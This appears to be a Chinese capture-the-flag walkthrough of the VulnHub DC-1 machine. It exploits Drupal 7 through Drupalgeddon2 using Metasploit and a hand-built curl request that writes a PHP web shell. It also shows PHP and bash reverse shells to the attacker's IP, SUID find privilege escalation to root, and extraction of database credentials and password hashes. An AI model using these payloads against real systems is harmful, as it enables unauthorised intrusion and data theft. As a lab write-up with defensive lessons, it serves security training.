DC-1(DCAU 系列第一台)难度 Beginner/Intermediate,考标准渗透思维:摸清环境 → 抓 CMS 版本漏洞 → SUID 提权。机器埋了 5 个 flag(flag1~flag4 + thefinalflag),每个都给下一步提示。
⚠️ 操作均在 VMware 私有 NAT 网段对本机靶机执行,靶机为公开 VulnHub 镜像,勿对未授权目标复现。
1. 环境搭建
DC-1.ova 导入 VMware Workstation,网络选 NAT:Kali 与靶机同网段互达、与外网隔离。
| 角色 | 系统 | 网络 |
|---|---|---|
| 攻击机 | Kali Linux | VMware NAT(VMnet8) |
| 靶机 | DC-1(Debian + Drupal 7) | VMware NAT(VMnet8) |
靶机默认 DHCP,先用 ARP 扫描找存活主机:
# netdiscover 主动扫描当前网段
sudo netdiscover -r 192.168.xxx.0/24
# 或者用 arp-scan,更快更干净
sudo arp-scan --localnet
除 Kali 自己外多出来的那台就是靶机(如 192.168.xxx.131),后续操作都指向它。
💡 ping 不通先查 NAT 网段是否一致,再看靶机网卡是否已连接(默认挂 VMnet8)。
2. 信息收集
先做全端口扫描 + 服务版本识别:
# 全端口 TCP 扫描
sudo nmap -sS -p- 192.168.xxx.131
# 服务版本 + 默认脚本探测
sudo nmap -sV -sC -O 192.168.xxx.131 -p 22,80
结果:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7
80/tcp open http Apache httpd 2.2.22 ((Debian))
MAC Address: 00:0C:29:XX:XX:XX (VMware)
只开 22 和 80,攻击面收在 Web。http://192.168.xxx.131/ 是 Drupal 站,版本信息藏在页面底部或源码里:
<!-- 页面源码底部能看到类似 -->
<meta name="Generator" content="Drupal 7 (http://drupal.org)" />
Drupal 7 决定了后续利用路径;可用 whatweb 或 droopescan 确认:
whatweb http://192.168.xxx.131/
# 输出: ... Drupal 7 ...
3. 漏洞利用:Drupalgeddon2 (CVE-2018-7600)
Drupal 7 的著名 RCE:Drupalgeddon2(CVE-2018-7600)。表单 API 允许通过 #post_render 这类渲染数组属性注入可执行回调——用 user/register 表单的 mail[#post_render][] 传入 exec 之类的 PHP 函数,配合 ajax_form=1 触发,即可未认证远程执行任意命令。2018 年披露后被大规模自动化利用。
利用方式两种,任选其一:
方式一:Metasploit 一键利用
msfconsole
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.xxx.131
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST 192.168.xxx.128
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set TARGETURI /
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
模块默认直接给一个 meterpreter 会话,省掉手工反弹 shell。
方式二:手工 POST 触发
不依赖 MSF,用 curl 写一句话 shell:
# 先访问注册页拿 form_build_id
curl -s http://192.168.xxx.131/user/register -c cookies.txt | grep form_build_id
# 构造恶意 POST:mail 参数里塞 #post_render 回调,执行写 shell 的命令
curl -s -b cookies.txt \
-d "form_id=user_register_form&form_build_id=FORM_BUILD_ID_HERE&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=echo '<?php system(\$_GET['cmd']); ?>' > /tmp/shell.php" \
"http://192.168.xxx.131/user/register?element_parents=account/mail/%23value&ajax_form=1"
# 验证命令执行
curl "http://192.168.xxx.131/tmp/shell.php?cmd=id"
💡 手工方式核心就一句:
#post_render[]数组注入 +exec回调 +ajax_form=1触发。
4. 反弹 Shell
有 RCE 后开监听拿稳定交互 shell:
nc -lvvp 4444
再在靶机上执行反弹命令。目标环境有 PHP,用 PHP 反弹最稳:
# 通过 RCE 执行(URL 编码后传入)
php -r '$sock=fsockopen("192.168.xxx.128",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# 或者 bash 反弹
bash -i >& /dev/tcp/192.168.xxx.128/4444 0>&1
收到 shell 后确认身份并升级为交互式终端:
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
# 升级为带 TTY 的交互式 shell
python -c 'import pty; pty.spawn("/bin/bash")'
此时拿到 www-data 权限,真正的挑战在提权。
5. 提权:SUID find
/etc/passwd 里能看到普通用户:
cat /etc/passwd
# 除了 root,还有一个 flag4 用户(uid 1004)
接着枚举 SUID 文件——带 SUID 位的程序以属主身份运行,属主是 root 且程序可被操控就是经典提权入口:
find / -perm -4000 2>/dev/null
输出里除了常见的 passwd、su,还有一条:
-rwsr-xr-x 1 root root ... /usr/bin/find
find 带 SUID 位、属主 root,任何 find 都以 root 运行;GNU find 的 -exec 又能执行任意命令,组合即提权:
find / -exec /bin/sh -p \;
# 或者更简洁的写法
find . -exec /bin/sh \;
执行后 shell 立即变成 root:
# id
uid=0(root) gid=0(root) groups=0(root)
💡 SUID 让
find进程 euid=0,-exec的子进程继承该 euid,sh便以 root 运行;GTFOBins 的find条目就是这条命令。
6. Flag 复盘
flag 是引导式的,每个都是一条提示,串起来就是完整思路:
| Flag | 位置 | 内容/提示 | 关键动作 |
|---|---|---|---|
| flag1 | /var/www/flag1.txt | 提示”每个 CMS 都有配置文件” | 顺着提示找 Drupal 配置 |
| flag2 | /var/www/sites/default/settings.php | MySQL 数据库凭据 | 读配置拿 dbuser/dbpass,登入数据库 |
| flag3 | 数据库 drupaldb.users 表 | 管理员密码 hash | 爆破 hash 或直接重置管理员密码 |
| flag4 | /home/flag4/flag4.txt | 提示看 /etc/passwd 和 SUID | 找到 SUID find,完成提权 |
| thefinalflag | /root/thefinalflag.txt | 恭喜通关 | root 后直接读 |
flag1 → flag2:Drupal 数据库配置在 sites/default/settings.php,写着 MySQL 库名、用户名、密码:
cat /var/www/sites/default/settings.php | grep -A 4 "databases"
# $databases['default']['default'] = array(
# 'database' => 'drupaldb',
# 'username' => 'dbuser',
# 'password' => 'xxx',
# ...
flag2 → flag3:拿凭据登入数据库,users 表里存着管理员账号和密码 hash:
mysql -u dbuser -p drupaldb
mysql> SELECT name, pass FROM users;
# admin 的 pass 是一串 $S$ 开头的 Drupal hash
两条路:john/hashcat 爆破(格式 $S$),或直接重置——PHP 现算新 hash 写回库:
# 在靶机上用 PHP 生成新密码 hash
php -r 'print(password_hash("NewPass123", PASSWORD_BCRYPT) . "\n");'
# Drupal 7 的 hash 实际是 phpass 格式,更准确的做法:
php -r 'require "/var/www/includes/password.inc"; print user_hash_password("NewPass123") . "\n";'
mysql> UPDATE users SET pass='<新hash>' WHERE name='admin';
之后用 admin 登录后台,/admin 里还能看到 flag3 提示”去看 flag4 用户的目录”。
flag3 → flag4:/home/flag4/flag4.txt 提示”root 的 flag 在 /root 下,想进去看 SUID”——即第 5 节的 find 提权。
thefinalflag:root 后直接读:
cat /root/thefinalflag.txt
通关。整条链:Web 漏洞打进来 → 配置泄露拿库 → 数据库拿凭据 → SUID 提权到 root。
7. 教训与总结
DC-1 浓缩了真实环境最常见的问题:
- CMS 要及时更新:Drupal 7 全版本被 Drupalgeddon2 一锅端,靶机还是 2018 年前的版本;漏洞利用永远比管理员打补丁快——表单渲染数组这类”框架魔法”被滥用就是未认证 RCE。
- SUID 位最小化:
find这种日常工具不需要 root SUID,一条find / -perm -4000就能看出偷懒;运维应定期审计 SUID/SGID 并删掉非必要的。 - 权限分离:Web 用
www-data跑是标准做法,但数据库密码写在 Web 目录配置里,Web 被打穿就等于数据库沦陷;数据库账号应按最小权限单独建。 - 流程比技巧重要:每一步都依赖上一步的信息,信息收集 → 漏洞利用 → 权限维持/提升的框架比任何具体漏洞都值钱。
DC-1 适合当”第一个完整靶机”;之后可练 DC-2(WordPress + 横向提权)和 DC-3(Joomla + 内核提权)。